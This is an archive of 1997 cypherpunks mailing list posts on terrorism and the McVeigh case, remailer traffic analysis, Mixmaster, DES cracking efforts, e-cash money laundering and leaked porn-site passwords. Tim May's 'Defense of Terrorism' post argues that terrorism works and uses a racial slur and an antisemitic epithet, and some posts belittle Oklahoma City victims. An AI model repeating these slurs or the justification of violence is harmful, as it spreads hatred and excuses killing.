Message-ID: <0nZMXF200YUg07xmg0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain



Bill Frantz <frantz@netcom.com> writes:
> At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
> >Contrast ["milita violence"] with the brilliance of the anarchist
> >Eward Abbey in "The Monkey Wrench Gang", where the anti-government
> >acts were calculated to call forth popular support.
<snip>
> If you at least avoid killing people, then you have fewer bitter enemies
> and a better chance of holding on to your winnings.  The examples of
> Gandhi, King, and Mandala come to mind.  Contrast their success with the
> results of the violence approach as exemplified by the generations old wars
> in Ireland and Israel.

You left out Sea Shepard, who sank the entire Icelandic whaling fleet
(with zero casualties) on night. Earth First!, Greenpeace, and other
somewhat-less-direct action groups have used "terrorist" means and
achieved enourmous popular support.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Wed, 4 Jun 1997 23:46:05 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing (fwd)
Message-ID: <199706041452.JAA01618@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim writes:

[Jim wants to be able to 'cyber-picket' - force people to read his 
 opinions before they can browse sites he does not like. He is 
 attempting to claim that the net backbones corrospond to public
 spaces, where his local government permits him to picket.]

> Declan writes:
>> And I think that we should be very careful about calling the Net a public
>> forum. Sure, places like Usenet resemble a public forum in some ways, but
>> it's not the same.
> 
> But I am not calling the net a public forum. I am specificaly talking about
> a special case that might arise if we are not aware of the consequences. In
> short it is a statement that it MIGHT be possible to use publicly funded
> network backbones to seriously impede communication using the system against
> itself.

>> I think Greg has it right: you want to forcibly intervene in a
>> communication between two consenting parties. What you want is
>> similar to the right to come into my home and prevent me from
>> speaking freely to my friend or lover. 


'Publically funded network backbones'? Can you name one (in the US)? 
NSFnet and ARPAnet are long dead. Back when they were active, there was 
considerable debate about the legality of commercial speech on the 
net, and earlier, doubts about the legality of any traffic (including 
private email) which was not in support of government funded research.
(the first big mailing list, the SF-Lovers Digest, had a 
quasi-underground existence for many years due to this worry).

Jim also writes:

>Lack of public space may be the saving grace, unfortunately there is
>quite a bit of involvment planned by Uncle Sam if I am not
>mistaken...Internet II... V-II Chip... GAK... ITAR... That
>supercomputer science network thingy...

None of which have the slightest relevance - Internet II is a 
proposed (and still vaporware) project for an academic-research-only
network - it's future existence has no impact on those of us using
the private backbone system of today. Ditto that 'supercomputer 
science network thingy' you mention, which I suspect is the same 
thing. As for "V-II Chip... GAK... ITAR": The fact that some people
in government propose unconstitutional regulations, unworkable
technologies, and policies which work against the public interest
is not a basis to propose further undesirable policies.

Question: if you get the ability to put up your 'cyber-picket' frame,
how about cyber-counter-pickets? Cant the picketee put a page in 
front of yours? Who gets priority? Where does it stop? 

Jim, your idea is roadkill on that horribly imprecise analogy, 
the 'information superhighway' (spit). It can't be resuscitated 
by asking for 'information super-sidewalks' or claiming the existance 
of 'information super-public-spaces'. The underlying metaphor is 
fatally flawed.

Peter Trei
trei@process.com
Disclaimer: These are my own opinions only.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 05:48:14 +0800
To: Asgaard <asgaard@cor.sos.sll.se>
Subject: Re: May's Banal Rant
In-Reply-To: <Pine.HPP.3.91.970603194454.19822D-100000@cor.sos.sll.se>
Message-ID: <Pine.LNX.3.91.970603235531.392A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> *Why is it that people of finer (?) English heritage often has a double
> second name? Someone once suggested to me that it originates from having
> (or an ancestor having) adopted the name of both one's 'marital' father
> and one's biological father, for reasons of property inheritance, but
> I never believed that one. Just curious.


I believe historically this would not be the case, for obvious reasons of 
reputation.

Today, a few English people take both their mothers and fathers names, 
for example, a friend of mine is William Casson-Smith, of course, not all 
names sound good like this, ie. Paul Bradley-Hemsley, interestingly they 
only sound right if the second name has one less syllable than the first.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 00:33:58 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970603234401.03ccf980@panix.com>
Message-ID: <JewR8D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



frissell@panix.com writes:
> Circa 1974, I was sitting in my law school lounge watching "The Charge of the
> Light Brigade" starring Errol Flynn on TV.  There was a group of other
> students there.  Then came the line from the film: "Men, we're going to show
> these Turks that you can't murder innocent women and children and live to
> boast about it (a British garrison had been attacked, which led to the
> Charge).  I immediately piped up, "That's funny, George McGovern did!"

I haven't seen the movie, but my recollection is that in real life the
British were attacking the Russians.  See, the Turks were killing
Xians in the Balkans, and the Russians foolishly tried to protect them,
and the British stepped in to protect the Turks.  Maybe they changed it
all in the movie version (can't expect U.S. moviegoers to follow 19th
century politics).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 5 Jun 1997 00:00:18 +0800
To: cypherpunks@toad.com
Subject: Re: Profanity, PCS phones, and FCC
In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
Message-ID: <3LwR8D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jeremey Barrett <jeremey@bluemoney.com> writes:

>
> Well I went and got a PCS phone (Ericsson), and was pilfering through the
> manual,                                             ^^^^^^^^^

Are you a native speaker of English, Jeremy?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 00:53:02 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hacker Links page (fwd)
Message-ID: <v03102813afbb4a89cf8f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I sent this out last night, leaving the Cypherpunks distribution as
"cypherpunks@einstein.ssz.com." Alas, it does not seem to have propagated
to my site.

So here it is:


>Date: Tue, 3 Jun 1997 19:09:30 -0700
>To: Jim Choate <ravage@einstein.ssz.com>, cypherpunks@einstein.ssz.com
>(Cypherpunks Distributed Remailer)
>From: Tim May <tcmay@got.net>
>Subject: Re: Hacker Links page (fwd)
>Cc:
>Bcc:
>X-Attachments:
>
>
>When I was on the Cyberial-l list, for lawyers and others interested in
>cyberspace law issues, this issues of URLs being infringements came up a
>couple of times.
>
>I think the answer is very clear: nobody needs permission of others to
>print URLs.
>
>URLs are like footnotes. They are not actually links or tunnels of any
>sort. They are just like "machine readable footnotes." If I refer a reader
>to "Applied Cryptography," either by citing the book title and ISBN numer,
>I do not need the permission of Bruce Schnier to cite this information. No
>copyright law has ever been held to apply to the recitation of such cites.
>
>A URL is just an address, much like a ISBN number.
>
>In modern browsers, clicking on such a URL may be perceived as "taking you
>there," and in some sense it does. But what the clicking really does is to
>invoke the commands needed to send stuff to the address specified in a URL
>and ask that site to send some stuff back.
>
>Jim and others know this, of course, so I am not lecturing them. Rather, I
>am framing the debate in terms that copyright lawyers will surely
>understand.
>
>Now, it may be true that Don Lancaster has decided, for example, that he
>doesn't "like" the association of his URL with "hacker" topics. Too bad.
>
>It would be no different if Lancaster were to object to Timothy McVeigh
>providing a reference or footnote to Lancaster's "The TTL Cookbook." Even
>if McVeigh were to say he found the "TTL Cookbook" essential for building
>bomb timers. (Not that far-fetched, actually.)
>
>"Fair use" extends to even including chunks of another's writing for
>purposes of comment, critique, agreement, discussion, etc. It clearly then
>applies to cites of the author's books.
>
>And more than just "fair use," citing the influence of others and saying
>where more information can be found is the essence of free speech.
>
>(Which means I have the feeling Electronic Frontiers Georgia may be
>entering the case on the side of Lancaster!)
>
>And Lancaster's choice to make his URL publically accessible means that
>anyone can click on it. Open and shut.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 01:10:28 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Profanity, PCS phones, and FCC
In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
Message-ID: <v03102814afbb4e7abcbb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:03 AM -0700 6/4/97, Ryan Anderson wrote:
>On Wed, 4 Jun 1997, Jeremey Barrett wrote:
>
>> Well I went and got a PCS phone (Ericsson), and was pilfering through the
>> manual, and came across this amusing text in the "Operating procedures"
>> section of the "Guidelines for Safe and Efficient Use":
>[snip]
>>    o Use of profane, indecent, or obscene language while using your
>>      phone.
>> Joy. More laws to break.
>
>I believe this has been true about your regular phone line for years as
>well.  It's unenforceable, and as a practical matter the FCC isn't going
>to care, *EVER* about it.

I notice that a *lot* of just such "unenforceable and they don't really
care" things got added to the laundry list of thought crimes in Jim Bell's
case.

Lots of laws ensure that citizen-units are always guilty of something.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 01:27:02 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Who "invented" remailers?
In-Reply-To: <v0310280cafba70127c0a@[207.167.93.63]>
Message-ID: <v03102815afbb4f28e58c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:06 AM -0700 6/4/97, Lucky Green wrote:
>At 06:27 PM 6/3/97 -0700, Tim May wrote:
>>(There are important issues, discussed by several of us several years ago,
>>and more recently by Wei Dai and Lucky Green, dealing with correlation
>>analysis of messages sent and messages received...esentially pattern
>>analysis.
>
>This type of analysis is unlikely to provide useful results for
>high-latency systems such as remailers. However, this analysis can be very
>fruitful on near real time systems such as ill-designed chained http
>anonymizers.
>
>[Tim of course knows this, I just want to make sure that this is
>universally understood.]

Agreed, but there remains a risk even for conventional remailer uses. It
all depends on latencies, numbers of messages, etc.

Let us imagine Lucky and I are corresponding through a remailer network.
Imagine the average latency, in total, is 2 hours. (Not unreasonable.)

The kind of pattern analysis I'm talking about would look for "digrams"
between my sending a message and Lucky receiving one.

--Tim sends a message, a couple of hours later Lucky gets one.

--then nothing, and Lucky gets nothing for several hours or more

--Lucky sends a message and a couple of hours later Tim gets one

--then nothing for several hours or more

--Tim sends one, Lucky gets one a couple of hours later

It all depends on:

- how many other messages are being received by Lucky and Tim (PGP messages
arriving from remailers, obviously, not just ordinary traffic, though
ordinary traffic helps a bit)

- the latencies, the longer the better (related to the above number)

What I am picturing is a scatter plot of transmissions and receptions. I
think an adversary with access to the sends and receives, even if encrypted
(of course) could make some plausible deductions.

He could certainly rule out some message pairs, e.g., Tim sends a message,
but no message is received by, say, Perry. Or Perry sends a message, but
this is not followed within statistically expected periods by messages
received by, say, Duncan.

So the "Tim-Lucky" digram might be "0. 6" and the "Tim-Perry" digram might
be "0.003" and this would be useful in implicating likely comunicants.
Throw in the reverse paths, e.g., the "Lucky-Tim" digram and the
correlations could become quite strong.

(Closely related of course to traffic analysis in general.)

As we have been saying for years, there's a nice MS thesis in this for someone.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 01:38:42 +0800
To: cypherpunks@Algebra.COM
Subject: Hyper-Sensitive Traumatized Rescue Workers...gimme a break
In-Reply-To: <19970603165035.36961@bywater.songbird.com>
Message-ID: <v03102816afbb529cb52e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:15 PM -0700 6/3/97, Bill Frantz wrote:
>At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
>>Contrast ["milita violence"] with the brilliance of the anarchist
>>Eward Abbey in "The Monkey Wrench Gang", where the anti-government
>>acts were calculated to call forth popular support.

I enjoyed "The Monkey Wrench Gang" immensely, but I'm not convinced Abbey
captured the popular sentiment very well. Blowing up the dam they planned
to hit would have doubtless produced the same maudlin images we see of OKC
victims.  Dead babies washed up in the debris along the Colorado River and
all. CNN would love it.

>This is an important point.  When you kill people, you make implacable
>enemies.  Consider the SF Bay area rescue team that is still trying to

^^^^^^^^^^^^
>learn how to live with the memory of the mangled bodies they found Oklahoma
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>City.  They hate the person(s) responsible for the bombing and they did not
>even have relatives killed there.

To cement my politically incorrect images, I think it clear that most of
these so-called "traumatized" teams are made more traumatized by all the
mental health care professionals and Marin County social workers _telling
them_ they should be traumatized! "Grief counseling" is a big business.

Surely what they saw at OKC, person for person, was not substantially
different from what they saw prying squashed bodies out of the freeway
collapse in Oakland? Or of what rescue workers have seen in refinery
explosions, mine collapses, dam busts (there goes that monkey wrench gang
again), floods, fires, and countless war experiences.

But it makes for a nice piece on CNN to interview the traumatized rescue
worker and ask him much longer his "grief disability" insurance will last.

I don't mean to "hurt their feelings" (as if any of them are reading the
Cypherpunks list!!!) but enough is enough. They shouldn't be in rescue work
if a building collapse is going to freak them out so much.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 02:06:44 +0800
To: cypherpunks@Algebra.COM
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03007825afbaa5a5f3c3@[207.94.249.152]>
Message-ID: <v03102818afbb58470a20@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:25 AM -0700 6/4/97, Jeremiah A Blatz wrote:
>Bill Frantz <frantz@netcom.com> writes:
>> At 4:50 PM -0700 6/3/97, Kent Crispin wrote:
>> >Contrast ["milita violence"] with the brilliance of the anarchist
>> >Eward Abbey in "The Monkey Wrench Gang", where the anti-government
>> >acts were calculated to call forth popular support.
><snip>
>> If you at least avoid killing people, then you have fewer bitter enemies
>> and a better chance of holding on to your winnings.  The examples of
>> Gandhi, King, and Mandala come to mind.  Contrast their success with the
>> results of the violence approach as exemplified by the generations old wars
>> in Ireland and Israel.
>
>You left out Sea Shepard, who sank the entire Icelandic whaling fleet
>(with zero casualties) on night. Earth First!, Greenpeace, and other
>somewhat-less-direct action groups have used "terrorist" means and
>achieved enourmous popular support.

I don't want to start "defending terrorism," esp. of the murderous sort,
but the plain fact for anyone to see is that terrorism often _does_ work.

Look at Palestine/Israel/the Zionist Insect/whatever.

Had the Palestinians calmly filed petitions to get the land back that was
seized by European Jews after the Second World War--the Brits often
referred to Palestinians and Arabs as "sand niggers"--would any land ever
have been transferred back?

(Zionists will probably jump in here citing the various wars which
triggered various land ownership changes, a la Gaza, the West Bank, parts
of Jerusalem, the Golan Heights, etc. We cannot generally argue "alternate
histories," though.)

It seems obvious that 40 years of "terrorist" (freedom fighting?) attacks
by "radical" Palestinian groups had a lot to do with Israeli voters and
government deciding enough was enough and agreeing to limited
self-government, etc.

(The whole area and political scene is notoriously complicated. I've never
been there, I'm not a Jew, nor am I a sand nigger, etc. I can't say whether
the political scene would have been resolved better or more peacably had
terrorism not occurred, but my strong suspicion is that the Palestinians
would still be filing their petitions and being given the bureaucratic
runaround had they never started blowing things up.)

Terrorism is also what the American colonists did to British soldiers.
Ambushing them from the trees was not a kosher form of attack (no pun
intended), nor was attacking their barracks at night. (Sounds like blowing
up the Americans in Beirut, doesn't it?)

(In fact, the act of terrorism against the 242 Marines in Beirut in 1983
"worked," didn't it? The Americans were on their way out within weeks.)

Yes, innocents die in such attacks. Yes, grieving mothers cry. Yes, yes,
yes to all of the denunciations of terrorism. But the fact is that all war
is a kind of terrorism, and all wars and all struggles have resulted in
deaths of innocents.

(Intereting that Bell is so widely condemned for wanting to transfer the
burden to the actual guilty parties, and not the innocents usually consumed
as fuel in wars.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris DiBona <chrisd@loc201.tandem.com>
Date: Thu, 5 Jun 1997 02:25:32 +0800
To: "cypherpunks@toad.com>
Subject: RE: McVeigh? Nimrods.....
Message-ID: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
MIME-Version: 1.0
Content-Type: text/plain



<rant>

Okay folks...what the hell is wrong with you? First off, this whole McVeigh 
Crap is a bit off topic..but we all know this. The amazing thing about the 
string of posts has been that people have forgotten that He has been found 
guilty of murdering quite a few people. Guilty,  Guilty,  Guilty. Jury of 
his peers, dare I say, people like us all. Randomly selected. This is how 
our system works.

Yes there are flaws in the system.

Yes the US govt. has it's problems in the past, present and future.

Yes people have died because schnooks in DC have had thier heads up thier 
ass. Or not.

So whether or not you belive he did it.....how can anyone be _for_ what 
_happened_. People died senselessly, I can't believe that anyone (in this 
case Duncan Frissell frissell@panix.com, lets give credit where it is due) 
can be so callous and , frankly, sick , to say :

<>
As to the Children of OKC, people who turn the care of their children over 
to
government employees or contractors do not place too high a value on those
children.
<>

Are you serious? You should be ashamed that you think this way. Do you 
really
think those children who died weren't cared for? You are a sick person who
should seriously consider therapy. Anyone who read this and said "Yeah!" 
 is
on the same plane.

To all the people who defend blowing shit and people up to get thier point 
across....

Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does 
the
PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh 
did it.
But that doesn't make blowing up children in freakin' day care all right. 
Do you
understand this? There is no reason to blow up kids. It's wrong. For any 
reason.
Bad. Duncan...looking over your past posts.. .I've got to wonder if you 
were on acid
when you wrote this, many of your posts were fairly cozigent. But this? Do 
you have
children? Any  cousins who are children? A nephew or neice? Do these 
children
who may be important to you have parents who "care" about them enough to
scour the planet to find a good,safe day care that isn't withing the blast 
radius or
shooting range of :

A government office.
A large corporations headquarters.
A law firm.
A post office.
A town square.
A restaurant.
A bank.
Anywhere some asshole might have a gun and go loopy.
Anywhere some asshole might have a car be drunk and go loopy.
Anywhere some asshole might have a gun and a car and be drunk and go loopy. 

If they even could, I'm someone somewhere will find a way to fuck up that 
safe place.

You get the point, I could go on....but I won't.  Perhaps you should think 
and read
over your posts before you post again. The only good thing (and I mean 
ONLY) to
come out of the whole Mcveigh thing being discussed here on cypherpunks, is
that it has allowed me to add to my killfiles people who have for some 
reason,
had a prefrontal.

To all the dipshits who could possibly think otherwise. I should also 
mention it
is an EQUALLY fucked up thing to blow up adults.

Like my fellow Santa Clara County Resident Bill Frantz said :

For cypherpunks this comes down to: Make code, not bombs.

	Chris DiBona

</rant>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 02:28:01 +0800
To: cypherpunks@Algebra.COM
Subject: Cybernetic money laundering
Message-ID: <v03102800afbb60838612@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Hey, we've been saying this for years. It appears the experts now admit we
were right.

The difference is that what they _worry_ about, we _embrace_.

--Tim


Wednesday June 4 10:07 AM EDT

Internet could help crime syndicates launder money

By Richard Waddington

LISBON - Big crime syndicates could soon be using the Internet to launder
dirty money and there might not be much authorities can do
about it, an international conference was told on Tuesday.

The international web, which already allows clients to shop and sell around
the globe, could become the perfect medium for the cocaine
barons of Colombia or the Mafia gangs of Sicily to make their ill-gotten
wealth respectable.

International police are already having a hard time keeping up with the
sophisticated maneuvers of criminals and fraudsters as they switch
funds from country to country, often making use of lax banking regulations.

But with the Internet and the coming introduction of electronic cash,
so-called E-cash, the authorities could lose what has been one of their
only advantages -- the need for criminal gangs to handle and at some stage
deposit big quantities of cash.
.....
E-cash could take the place of physical money in the same way that E-mail
has replaced the posting of letters. Huge sums could be
switched from person to person without the need to pass through any form of
banking system, experts said.

....

Backhouse said that experiments with E-cash, or digital banking, were
already being carried out in around 25 countries and the system
could become commonplace within five years or so.

"What is only a little trickle at the moment will become a roaring
torrent," he told Reuters.

But the ability to switch faceless funds effortlessly around the world was
not the only danger posed by the revolution under way in
international communications, experts said.

Organized crime could use the Internet to set up web-based companies
offering services of all types to act as vehicles for "washing" their
funds.

"The Internet is an ideal medium. It will be difficult to prove that such
companies and transactions are false," said Maclachlan.

Crime gangs could even go so far as to set up their own banking services as
accounts can be established with Internet banks using no
more than a photocopy of a driving license as proof of identity, experts said.

Global by nature, the network could be particularly difficult to police
because of the tricky question of territoriality. Which country has
responsibility when a bank can be based only in electronic space?

Copyright, Reuters Ltd. All rights reserved






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Fred B. Ringel" <fredr@joshua.rivertown.net> (by way of Alec <camcc@abraxis.com>)
Date: Thu, 5 Jun 1997 00:02:12 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: ANNOUNCE: Mixmaster 2.0.4 beta available (fwd)
Message-ID: <3.0.2.32.19970604112443.007c4520@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all-

	No warranties or representations regarding this announcement,
however I thought some on the list might find this of interest. I'm putting
mine together right now.

	Fred

---------- Forwarded message ----------
Date: Wed, 4 Jun 1997 03:25:08 +0200 (MET DST)
From: Name Withheld by Request <nobody@replay.com>
Subject: ANNOUNCE: Mixmaster 2.0.4 beta available

This is to announce the release of Mixmaster 2.0.4 beta.

  Mixmaster is a new class of anonymous remailers. Inspired by the
  existing "cypherpunk" remailers and discussions on the Cypherpunk
  mailing list, Mixmaster is the next generation in the evolution of
  remailer technology.

Mixmaster is available from:

ftp://ftp.replay.com/pub/replay/pub/remailer/Mix-204b1.tar.gz

What's new?
- several bug fixes.
- "middle only" remailer.
- messages compression.
- support for /dev/random.
- rudimentary support for the list of reliable Mixmaster remailers.
- new installation script.
- can be compiled under DOS/Windows.

Mixmaster is (C) by Lance Cottrell <loki@infonex.com>.
This release was made by Ulf Möller <um@idril.shnet.org>.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 5 Jun 1997 02:59:46 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Who "invented" remailers?
In-Reply-To: <199706040457.AAA12535@muesli.ai.mit.edu>
Message-ID: <Pine.GSO.3.96.970604112313.13859B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Hallam-Baker wrote:

> I really can't get excited about US domestic policy. That is not where the
> crypto is needed. 

Arguable point.  Depends on if you fear getting busted because of which
causes you support.  For many that is a serious issue.

> Eve so if you hypothesise the extent of surveillance such that mixmaster
> remaillers are needed the constitution was thrown out long ago.

And your point being...?  The consititution is a document that is followed
only when it suits the purposes of those in power.  If it was not for the
factional infighting of the various branches of power, we would have no
rights left at all.

> Now this happened under Hoover and the FBI still have their headquarters
> named after him.

That is for three reasons:

1) Many in the FBI get off on that kind of power and see nothing wrong
with it.  (As long as they are the ones doing the survelence.  Try doing
it to them and see what happens...)

2) It is on all their stationary.

3) It is carved in stone on the building. 

> I'm having great difficulty making sense of the finely calibrated level of
> paranoia which makes mixmaster both effective and necessary.

Unfortunatly for mixmaster to work effectivly, you need a threshold of
usage.  That threshold has not been reached yet.  With the successful
campaign against remailers by those who oppose them, the problem is made
worse.  (As well as supporting a form of encryption not commonly available
to "Joe Sixpack".)  Currently, use of the Mixmaster remailer system is out
of reach of most of the average users out there.  The only serious project
to address that need has been Private Idaho and development has stopped on
that project.

> On the other hand it strikes me that if we could work out a better version
> of Julf's pi.net remailer there would be a considerable benefit to the net.

Julf's remailer was more of a nym server than a remailer.  A remailer
gives a one way path, a nymserver gives a path back for replies.
Currently the nymserver network is in pretty bad shape as well.  They are
difficult to use and are dependant on the whims of the remailer network.
(If one element in the chain of remailers goes down, you are screwed until
you can reset things.)  They also have people who would like to see them
shut down because they do not like the uses to which they are put.
(Spreading ideas that are illegal, immoral, and/or fattening.)

An easy to use nymserver would be a "Good Thing(tm)".  I believe it to be
possible, it just needs better ways of surviving the rubber hose attacks
such things come under from time to time.

Do you have a design that needs implementing?

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 5 Jun 1997 00:33:07 +0800
To: cypherpunks@toad.com
Subject: DES [Was: Re: Webpage picketing?...]
Message-ID: <199706041540.IAA14829@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



(maybe) TruthMonger (maybe not) wrote:
>[lots of editing]
>   I used Peter Trei and others' software for the DES Challenge,
> but I posted a suggestion to the list that perhaps their programs
> contained subterfuge designed to thwart others in their attempts
> to find the secret keys. Was I spreading FUD? The responses to
> my post gave me much more information about the processes behind
> the software than any direct inquiries I had made about their
> workings. (And they reinforced the fact that "blind trust" in
> their programs or anyone else's is foolish.)
 
>   I could put a pointer to Peter's software which opens an
> adjoining window which warns that it may be compromised as a
> result of ulterior motives. The fact is, however, that Peter
> might himself put a disclaimer on his page saying, "If you
> can't read code, then you can't be certain of what my software
> is doing." (As a matter of fact, I believe his documentation
> mentions that there is no guarantee his logic is not in error.)

TM:
    Yes, you were spreading FUD, of a particularly stupid kind.

    I've always distributed my DES cracking software with full 
source code, as well as a compilied Wintel version. Anyone 
who wants to can examine the source and compile it independently 
if they worry about a mismatch between the source and the 
included binary. 

    Sven Mikkelsen (http://inet.uni-c.dk/~svolaf/des.htm) has 
now published full source for BrydDES was well. It runs faster 
than my code, but is only for x86 (mine includes generic 'C').

    If you want to participate in a coordinated attack, and don't
mind using a binary-only client, see. 
http://www.frii.com/~rcv/deschall.htm. This effort claims to have
already searched 15% of the keyspace.

    For overall info on the DES challenge, see
http://www.eskimo.com/~joelm/des.html

Peter Trei
trei@process.com 

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 5 Jun 1997 03:34:50 +0800
To: cypherpunks@toad.com
Subject: Password pirates plunder XXX sites, from The Netly News
Message-ID: <Pine.GSO.3.95.970604120106.20770H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



[We include links to sites with porn passwords in today's story, BTW. 
--Declan]

*******

http://cgi.pathfinder.com/netly/opinion/0,1042,1015,00.html

The Netly News Network (http://netlynews.com/)
June 4, 1997

Porn Free
by Chris Stamper and Greg Lindsay (thenetlynews@pathfinder.com)
  
        Sexfilms.com used to be a small, members-only adult site
   that shipped full-frame videos over a super-fast T-3 line. Traffic on
   the site was comfortably low for about a year, owner Ray Alba says,
   until one name -- "Joe Camaro" -- started appearing with some
   frequency. Actually, it started appearing 500 times a minute. From
   Sweden, Japan, Hong Kong, Singapore -- just about anywhere. Somebody
   was passing out the password.
   
        Download speeds faltered, from 300K/sec to 6K/sec. And then the
   servers themselves began to crash. Finally, Alba had to shut down the
   site for several weeks to clear out Camaro and numerous other accounts
   that had leaked out to the Net. Alba was the latest victim of... Porn
   Piratz!
   
        A huge number of passwords to pay-only porn sites are loose on
   the Net. Just surf newsgroups like alt.sex.passwords or do a simple
   search through a typical web engine and long lists of logins are easy
